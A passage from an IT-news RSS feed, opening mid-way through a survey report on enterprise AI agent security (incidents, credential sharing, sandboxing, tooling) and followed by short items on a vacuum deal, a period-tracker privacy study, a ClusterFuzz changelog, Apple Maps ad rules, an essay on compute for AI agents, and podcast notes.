pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ecovacs’ self-cleaning Deebot X11 has hit a new low price]]></title>
<description><![CDATA[Sometimes it feels like keeping your floors clean is one of those never-ending chores, which is why it's nice to have a versatile robot vacuum take it off your hands. The Ecovacs Deebot X11 robovac / mop hybrid is designed to do just that, and it's now $699 ($400 off) at Amazon and directly from […]]]></description>
<link>https://tsecurity.de/de/3674334/it-nachrichten/ecovacs-self-cleaning-deebot-x11-has-hit-a-new-low-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674334/it-nachrichten/ecovacs-self-cleaning-deebot-x11-has-hit-a-new-low-price/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sometimes it feels like keeping your floors clean is one of those never-ending chores, which is why it's nice to have a versatile robot vacuum take it off your hands. The Ecovacs Deebot X11 robovac / mop hybrid is designed to do just that, and it's now $699 ($400 off) at Amazon and directly from […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research]]></title>
<description><![CDATA[One period tracker app tested by Mozilla was ‘squeaky clean,’ while another app was seen sharing users’ health data with an analytics company, underscoring vast differences in user privacy among these apps. This article has been indexed from Security News…
Read more →
The post Period tracker Star...]]></description>
<link>https://tsecurity.de/de/3674125/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674125/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One period tracker app tested by Mozilla was ‘squeaky clean,’ while another app was seen sharing users’ health data with an analytics company, underscoring vast differences in user privacy among these apps. This article has been indexed from Security News…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/">Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research]]></title>
<description><![CDATA[One period tracker app tested by Mozilla was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></description>
<link>https://tsecurity.de/de/3673999/ai-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673999/ai-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</guid>
<pubDate>Thu, 16 Jul 2026 17:34:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One period tracker app tested by Mozilla was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.0]]></title>
<description><![CDATA[What's Changed

Use clusterfuzz_manifest.json to set ChromeBuildArchive by @notvictorl in #5351
Correct execution permission check 100 -> 0o100 by @notvictorl in #5353
Gracefully shut down Centipede fuzzers by @aakallam in #5358
symbolizer: Add success tests and clean up tests by @g-ortuno in #53...]]></description>
<link>https://tsecurity.de/de/3673598/it-security-tools/v2350/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673598/it-security-tools/v2350/</guid>
<pubDate>Thu, 16 Jul 2026 15:18:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Use clusterfuzz_manifest.json to set ChromeBuildArchive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820359720" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5351" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5351/hovercard" href="https://github.com/google/clusterfuzz/pull/5351">#5351</a></li>
<li>Correct execution permission check <code>100</code> -&gt; <code>0o100</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832159548" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5353" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5353/hovercard" href="https://github.com/google/clusterfuzz/pull/5353">#5353</a></li>
<li>Gracefully shut down Centipede fuzzers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aakallam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aakallam">@aakallam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857968419" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5358" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5358/hovercard" href="https://github.com/google/clusterfuzz/pull/5358">#5358</a></li>
<li>symbolizer: Add success tests and clean up tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876413451" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5359" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5359/hovercard" href="https://github.com/google/clusterfuzz/pull/5359">#5359</a></li>
<li>symbolizer: Stop using llvm-symbolizer if it crashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884968952" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5361" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5361/hovercard" href="https://github.com/google/clusterfuzz/pull/5361">#5361</a></li>
<li>Always set BOT_COUNT metric in the run_bot task loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877271341" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5360" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5360/hovercard" href="https://github.com/google/clusterfuzz/pull/5360">#5360</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.34.0...v2.35.0"><tt>v2.34.0...v2.35.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Maps Ads Will Ban Home Services, Crypto ATMs, and Bail Bonds]]></title>
<description><![CDATA[Apple Maps ads are getting closer to launch in the United States and Canada, and Apple has now revealed new rules that show exactly which businesses will not be allowed to advertise on the platform.



The updated advertising policy gives businesses a clearer idea of what Apple will accept while ...]]></description>
<link>https://tsecurity.de/de/3673435/ios-mac-os/apple-maps-ads-will-ban-home-services-crypto-atms-and-bail-bonds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673435/ios-mac-os/apple-maps-ads-will-ban-home-services-crypto-atms-and-bail-bonds/</guid>
<pubDate>Thu, 16 Jul 2026 14:25:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Maps ads are getting closer to launch in the United States and Canada, and Apple has now revealed new rules that show exactly which businesses will not be allowed to advertise on the platform.



The updated advertising policy gives businesses a clearer idea of what Apple will accept while showing that the company wants to keep Maps focused on places people can visit instead of becoming a marketplace for every local service.



Apple first announced Apple Maps ads in March, saying they would appear at the top of search results and inside a new Suggested Places section. The company added the groundwork for those features with iOS 26.5, but it has not confirmed an official launch date beyond saying they will arrive this summer.



Apple bans three business categories from Maps ads



Apple's new Advertising Services policy adds three categories that cannot advertise on Apple Maps:




Home services, including plumbing, electrical work, locksmiths, HVAC, roofing, pest control, and general contractors.



Bail bond and criminal pretrial surety bond services.



Cryptocurrency ATM businesses.




Apple also says it will review ads related to medical services on a case-by-case basis instead of approving or rejecting them automatically.



This decision makes Apple Maps different from Google Maps, where home services represent one of the biggest local advertising categories. Those businesses often require extra identity checks and ongoing verification, and Apple appears to be avoiding that complexity during the initial rollout.



Apple wants a more curated Maps experience



The new policy suggests Apple plans to keep advertising closely tied to physical locations that customers actually visit. Advertised businesses will appear as a single sponsored result, marked with a blue halo on the map and a clear ad label in Suggested Places.



Apple also says information about the ads users interact with stays on the device instead of being collected by the company or shared with third parties.



The broader advertising rules remain strict



Beyond Maps, Apple's advertising policy also blocks a wide range of content, including:




Political advertising.



Weapons and explosives.



Controlled drugs and tobacco.



Violence and graphic content.



Deceptive or misleading advertising.



Counterfeit products and intellectual property violations.



Profanity, hate speech, and discriminatory content.




Although Apple has not announced a release date for Apple Maps ads, publishing these detailed advertiser rules strongly suggests the rollout is now close. The company has also left room to expand into more advertising categories in the future, but its first version of Apple Maps ads clearly focuses on maintaining a clean, navigation-first experience.]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4684: Sim Racing on the cheap!]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC




https://www.ebay.com/itm/157554569422




Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Tu...]]></description>
<link>https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</guid>
<pubDate>Thu, 16 Jul 2026 02:03:00 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC</p>

<p>

<a href="https://www.ebay.com/itm/157554569422" rel="noopener noreferrer" target="_blank">
https://www.ebay.com/itm/157554569422</a>

</p>

<p>
Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Turn Any Surface into a Speaker System</p>

<p>

